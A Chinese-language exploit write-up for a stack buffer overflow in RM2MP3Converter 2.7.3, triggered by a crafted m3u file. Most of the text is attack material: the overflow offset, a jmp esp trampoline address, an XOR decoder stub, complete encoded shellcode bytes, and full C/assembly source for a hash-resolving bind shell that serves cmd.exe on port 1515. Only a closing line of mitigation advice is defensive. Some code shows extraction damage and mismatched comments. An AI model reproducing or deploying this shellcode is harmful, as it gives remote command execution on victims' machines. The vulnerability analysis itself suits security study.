RM2MP3Converter是由Mini-streamSoftware公司推出的一款共享软件,主要用于将RM格式的音频转换为MP3格式。
RM2MP3Converter 2.7.3版本中,读取m3u文件,存在缓冲区溢出漏洞。
M3U文件是一种纯文本文件,可以指定一个或多个多媒体文件的位置,其文件扩展名是“M3U”
或者“m3u”
。
未对缓冲区长度进行限定;
应读取0x400
字节,实际读取超过此长度;
调用此函数时,返回地址被淹没;
返回时可执行shellcode
在溢出点处设置跳板地址;
然后后执行ShellCode
拖入文件后文件无反应,实际在等待远端连接
可远端连接执行CMD命令
溢出点文件偏移:0x88DD
Kenel32.dll跳板:7736F7F7 jmp esp
//解密ShellCode代码
char bDecode[] = {
0x33,0xC0, // xor eax,eax
0xE8,0xFF,0xFF,0xFF,0xFF, // call 0xFFFFFFFF
0xC3, // retn
0x58, // pop eax ;eax=GetPc
0x8D,0x70,0x1B, // lea esi,[eax+0x1B] ;esi=Shellcode
0x33,0xC9, // xor ecx,ecx ;ecx=循环计数器
0x66,0xB9,0x96,0x02, // mov cx,0x0136 ;cx =She..体积
//tag_Decode:
0x8A,0x04,0x0E, // mov al,[esi+ecx] ;al =解密前字节
0x34,0x1F, // xor al,0x07 ;0x07为Key,
0x88,0x04,0x0E , // mov [esi+ecx],al
0xE2,0xF6, // loop tag_Decode
0x80,0x34,0x0E,0x1F , // xor [esi+ecx],0x07 ;解密最后一字节
0xFF,0xE6}; // jmp esi ;跳到Shellcode
//去除截断字符的ShellCode(不含0x00,0x0A,0X0D)
char bShellCode[] =
"\x4A\x94\xF3\x9C\xFB\xE7\x9E\xF3\x3B\x1D\x1F\x1F\xBE\x1B\x2F\x5F"\
"\x1F\x2C\xDB\x96\x9B\x3B\x3F\x1D\x1F\x1F\x4C\x2C\xC4\xD8\x9B\x3B"\
"\x0B\x1D\x1F\x1F\x74\x7A\x6D\x71\x49\x48\xD8\x9B\x3B\x3F\x1D\x1F"\
"\x1F\x7A\x73\x2C\x2D\xD8\x9B\x3B\x3B\x1D\x1F\x1F\x31\x7B\x73\x73"\
"\x97\x83\x3B\x37\x1D\x1F\x1F\xD8\x9B\x3B\x0F\x1D\x1F\x1F\x68\x6C"\
"\x2D\x40\xD8\x9B\x3B\x0B\x1D\x1F\x1F\x2C\x2D\x31\x7B\x79\xD8\x9B"\
"\x3B\x07\x1D\x1F\x1F\x73\x73\x97\x83\x3B\x05\x1D\x1F\x1F\xD8\x9B"\
"\x3B\x17\x1D\x1F\x1F\x7C\x72\x7B\x31\xD8\x9B\x3B\x13\x1D\x1F\x1F"\
"\x7A\x67\x7A\x1F\x96\x43\x3B\x13\x49\x7B\x94\x2A\x2F\x1F\x1F\x1F"\
"\x94\x69\x13\x94\x69\x03\x94\x29\x94\x69\x17\x96\x6B\x3B\x0F\x41"\
"\x94\x4B\x3B\x13\xA6\x98\x2D\xC7\xDF\xF7\x68\x1E\x1F\x1F\x4C\x94"\
"\xEF\x92\x9B\x3B\x3F\x1D\x1F\x1F\x4C\x4F\xE0\xC9\x75\x1F\x94\xC7"\
"\x92\x9B\x3B\x0B\x1D\x1F\x1F\x75\x1F\x4F\xE0\xC9\x94\xE7\xA6\x22"\
"\x75\xAB\x9F\x92\x5B\x3B\x67\x94\xC8\x4F\x77\x1D\x1D\x1F\x1F\xF7"\
"\x5E\x1E\x1F\x1F\xE0\xCF\x94\xC8\xA6\x32\x2D\x67\xC1\xF7\x2C\x1E"\
"\x1F\x1F\x2C\xD6\x4E\x4E\x4E\x75\x19\x75\x1E\x75\x1D\x46\x4E\xE0"\
"\xCF\x94\xC8\xA6\xEC\xB9\xA0\xC2\x94\xEF\xF7\x09\x1E\x1F\x1F\x9C"\
"\x7B\x3B\x73\x1F\x77\xF4\x1A\x1F\x1F\xE0\xCF\x75\x1D\x79\x96\x5B"\
"\x3B\x71\x94\xC8\x47\x79\x96\x5B\x3B\x77\xA6\x7B\x0F\xB8\xC2\x75"\
"\x0F\x92\x5B\x3B\x73\x4F\x49\xF7\xF6\x1F\x1F\x1F\xE0\xCF\x77\xE0"\
"\xE0\xE0\x60\x49\x94\xC8\xA6\x13\x80\xCC\x54\xF7\xCA\x1F\x1F\x1F"\
"\xE0\xCF\x94\xC8\xA6\xAE\x01\x88\x1E\xF7\xD8\x1F\x1F\x1F\x75\x1F"\
"\x75\x1F\x49\xE0\xCF\x75\x5B\x40\x94\xC8\x92\x53\x3B\x3F\x94\xEF"\
"\xF7\x66\x1F\x1F\x1F\x75\x0F\x45\x92\x53\x3B\x0F\xF7\x72\x1F\x1F"\
"\x1F\x2C\xDF\x96\x6B\x3B\x47\x79\x96\x5B\x3B\x4F\x94\xCC\x92\x5B"\
"\x3B\x0F\x96\x6B\x3B\x43\x4F\x92\x5B\x3B\x3B\x96\x6B\x3B\x7B\x4F"\
"\x2C\xE9\x96\x63\x3B\x37\x49\x49\x49\x75\x1E\x49\x49\x92\x9B\x3B"\
"\x37\x1D\x1F\x1F\xD8\x5B\x3B\x73\x1F\x1E\x1F\x1F\x4F\x49\xA6\xD6"\
"\xA3\xB9\x74\xF7\x42\x1F\x1F\x1F\xE0\xCF\x49\x94\xCC\xA6\x7C\x96"\
"\xCE\x50\xF7\x51\x1F\x1F\x1F\xE0\xCF\x94\x93\x3B\x33\x1D\x1F\x1F"\
"\x40\x41\x44\x2C\xD3\xF7\xAB\x1F\x1F\x1F\x94\xFA\x42\xDC\x4A\x94"\
"\xF3\x4E\x4E\x48\x96\x4A\xE7\x96\x52\xE3\x94\x62\xE3\x2C\xDF\x94"\
"\x52\xE7\xE3\xEC\xB5\x40\x94\xFA\x42\xDC\x49\x2C\xE9\xF4\x16\xDE"\
"\xD1\x18\x10\xA1\xDF\x1C\xEF\x5E\x95\x1E\x9B\xDF\x6A\xEE\x24\xC9"\
"\x41\x10\x8B\xDF\xDC\x4A\x94\xF3\x9C\xF3\x0B\x4C\x94\xC5\x96\x52"\
"\xE3\x49\x2C\xE9\x48\x94\x5C\x23\x94\xE1\x94\x5B\x07\x67\x1C\xDC"\
"\x94\x57\x03\x94\x4F\x3F\x1C\xD4\x96\x52\xF3\x1C\xCC\x94\x57\x3B"\
"\x94\x5F\x07\x1C\xD4\x96\x4A\xEB\x96\x52\xEF\x96\x5A\xE7\x9A\xDF"\
"\x6B\x34\x94\x13\xA5\x94\x4A\xE3\x1C\xD4\xF7\x84\xE0\xE0\xE0\x9B"\
"\xDF\x6A\x14\x94\x4A\xEB\x58\x24\x62\xE7\x6D\xF9\xF4\x10\x94\x5A"\
"\xEF\x94\x6A\xF3\x10\xA8\x1B\x67\x94\x2B\x99\x1C\xEC\x40\x94\xD9"\
"\x41\x44\x94\xFA\x42\xDC"
//ShellCode源码
#include "stdafx.h"
#include
#include
//HASH值
#define HASH_LoadLibraryExA 0xC0D83287
#define HASH_ExitProcess 0x4FD18963
#define HASH_WSAStartup 0x80B46A3D
#define HASH_WSASocketA 0xDE78322D
#define HASH_htons 0xDDBFA6F3
#define HASH_bind 0xDDA71064
#define HASH_listen 0x4BD39F0C
#define HASH_accept 0x01971EB1
#define HASH_CreateProcessA 0x6BA6BCC9
//函数宏定义
//int GetFunAddrByHash(int nHashDigest);
#define DefineFuncPtr(name,base) decltype(name) *My_##name=(decltype(name) *)GetFunAddrByHash(HASH_##name,base)
//字符串清零
void MemZero(PBYTE lpBuff, int nSize)
{ __asm
{ mov edi,lpBuff
xor eax,eax
mov ecx,nSize
cld
rep stosb
}
}
//对比HASH
bool Hash_CmpString(char *strFunName, int nHash)
{
unsigned int nDigest = 0;
while (*strFunName)
{
nDigest = ((nDigest << 25) | (nDigest >> 7));//一个左移25;一个右移7
nDigest += *strFunName;
strFunName++;
}
return nHash == nDigest ? true : false;
}
//HASH对比获取函数地址
int GetFunAddrByHash(int nHash, HMODULE hModule)
{
//1.获取DOS头,NT头
PIMAGE_DOS_HEADER pDos_Header;
PIMAGE_NT_HEADERS pNT_Header;
pDos_Header = (PIMAGE_DOS_HEADER)hModule;
pNT_Header = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);
//获取导出表项
PIMAGE_DATA_DIRECTORY pDataDir;
PIMAGE_EXPORT_DIRECTORY pExport;
pDataDir = pNT_Header->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModule + pDataDir->VirtualAddress);
//获取导出表详细信息;两个PDWORD,一个PWORD
PDWORD pAddOfFun = (PDWORD)(pExport->AddressOfFunctions + (DWORD)hModule);
PDWORD pAddOfNames = (PDWORD)(pExport->AddressOfNames + (DWORD)hModule);
PWORD pAddOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + (DWORD)hModule);
//遍历ENT获取函数地址
DWORD dwFunAddr = 0;
for (DWORD i=0;iNumberOfNames;i++)
{
PCHAR lpFunName = (PCHAR)(pAddOfNames[i] + (DWORD)hModule);
if (Hash_CmpString(lpFunName, nHash))
{
dwFunAddr = pAddOfFun[pAddOfOrdinals[i]] + (DWORD)hModule;
break;
}
}
return dwFunAddr;
}
void EntryPoint()
{
//局部字符串
CHAR szKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
CHAR szWs2_32[] = { 'w','s','2','_','3','2','.','d','l','l','\0' };
CHAR szCMD[] = { 'c','m','d','.','e','x','e','\0' };
//获取关键模块基址
HMODULE hKeyModule = 0;
__asm
{
push esi
mov esi,dword ptr fs:[0x30] //esi=peb
mov esi,[esi+0x0c] //esi=指向PEB_LDR_DATA指针
mov esi,[esi+0x1c] //esi=模块链表指针InInit...List
mov esi,[esi] //esi=访问链表第二个模块
mov esi,[esi+0x08]
mov hKeyModule,esi
pop esi
}
//载入模块
DefineFuncPtr(LoadLibraryExA, hKeyModule);
HMODULE hKernel32 = My_LoadLibraryExA(szKernel32, 0, 0);
HMODULE hWs2_32 = My_LoadLibraryExA(szWs2_32, 0, 0);
//初始化Socket
WSADATA stWSA;
DefineFuncPtr(WSAStartup, hWs2_32);
My_WSAStartup(0x0202, &stWSA);
//创建套接字
SOCKET stListen = INVALID_SOCKET;
DefineFuncPtr(WSASocketA, hWs2_32);
stListen = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
//任意地址绑定端口1515
DefineFuncPtr(htons, hWs2_32);
SOCKADDR_IN stService;
stService.sin_addr.s_addr = INADDR_ANY;
stService.sin_port = My_htons(1515);
stService.sin_family = AF_INET;
DefineFuncPtr(bind, hWs2_32);
My_bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
//监听连接
DefineFuncPtr(listen, hWs2_32);
My_listen(stListen, SOMAXCONN);
//接收连接请求
DefineFuncPtr(accept, hWs2_32);
stListen = My_accept(stListen, 0, 0);
//创建CMD进程,重定向输入输出到套接字
PROCESS_INFORMATION stPI;
STARTUPINFOA stSI;
MemZero((PBYTE)&stSI, sizeof(stSI));
MemZero((PBYTE)&stPI, sizeof(stPI));
stSI.cb = sizeof(stSI);
stSI.wShowWindow = SW_HIDE;
stSI.dwFlags = STARTF_USESTDHANDLES;
stSI.hStdInput = (HANDLE)stListen;
stSI.hStdOutput = (HANDLE)stListen;
stSI.hStdError = (HANDLE)stListen;
DefineFuncPtr(CreateProcessA, hKernel32);
My_CreateProcessA(0, szCMD, 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);
//关闭句柄,释放资源
//closesocket(stListen);
//WSACleanup();
//结束当前进程
DefineFuncPtr(ExitProcess, hKernel32);
My_ExitProcess(0);
}
int main()
{
EntryPoint();
return 0;
}
开发人员应对读取缓存作相应限制;
正确区分数据和代码的界限;